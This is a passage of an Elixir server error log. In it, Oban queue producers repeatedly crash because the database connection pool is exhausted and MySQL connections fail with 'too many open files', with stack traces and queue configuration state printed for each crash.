    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:21:43.240438Z], limit: 10, uuid: "ca575f4a-346b-4ca4-aae2-1735ab283fbc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:43.240443Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.55837>, refresh_timer: #Reference<0.2525715032.1099431938.56396>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:55.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:21:43.239523Z], limit: 20, uuid: "947229d6-176f-41f2-8a0a-4745538fd891", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:43.239529Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.183716>, refresh_timer: #Reference<0.2525715032.1099431938.56366>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:55.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:21:43.238919Z], limit: 5, uuid: "b9590b93-ad15-4ec1-9675-20a65d7f087f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:43.238927Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.183717>, refresh_timer: #Reference<0.2525715032.1077673987.32814>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:21:55.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:21:43.242493Z], limit: 50, uuid: "59fc2d30-0a88-4073-963b-79a4c649596d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:43.242498Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.55836>, refresh_timer: #Reference<0.2525715032.1068498948.55822>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:01.455000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:03.920000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:22:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 868ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:21:55.239617Z], limit: 10, uuid: "a0df88c6-f770-4bec-85d8-7339a8c044ca", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:55.239622Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.184193>, refresh_timer: #Reference<0.2525715032.1121189889.184181>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:21:55.239609Z], limit: 5, uuid: "2d3f1656-4f6d-4a60-a09a-ed476f3b6ada", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:55.239614Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.184196>, refresh_timer: #Reference<0.2525715032.1099431938.56423>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:21:55.239369Z], limit: 3, uuid: "41838a2b-f75f-4a32-962e-37ffe6643a04", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:55.239374Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.184195>, refresh_timer: #Reference<0.2525715032.1121189889.184168>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:06.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:21:55.238078Z], limit: 5, uuid: "187aa902-6732-4b10-ba3f-927148f3dad0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:55.238087Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.56037>, refresh_timer: #Reference<0.2525715032.1068498948.56007>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1068ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:21:55.241301Z], limit: 50, uuid: "aeb3a8e3-60f7-433f-ab7d-4d1cdd1107cc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:21:55.241306Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.184194>, refresh_timer: #Reference<0.2525715032.1121189889.184185>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:22:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 864ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
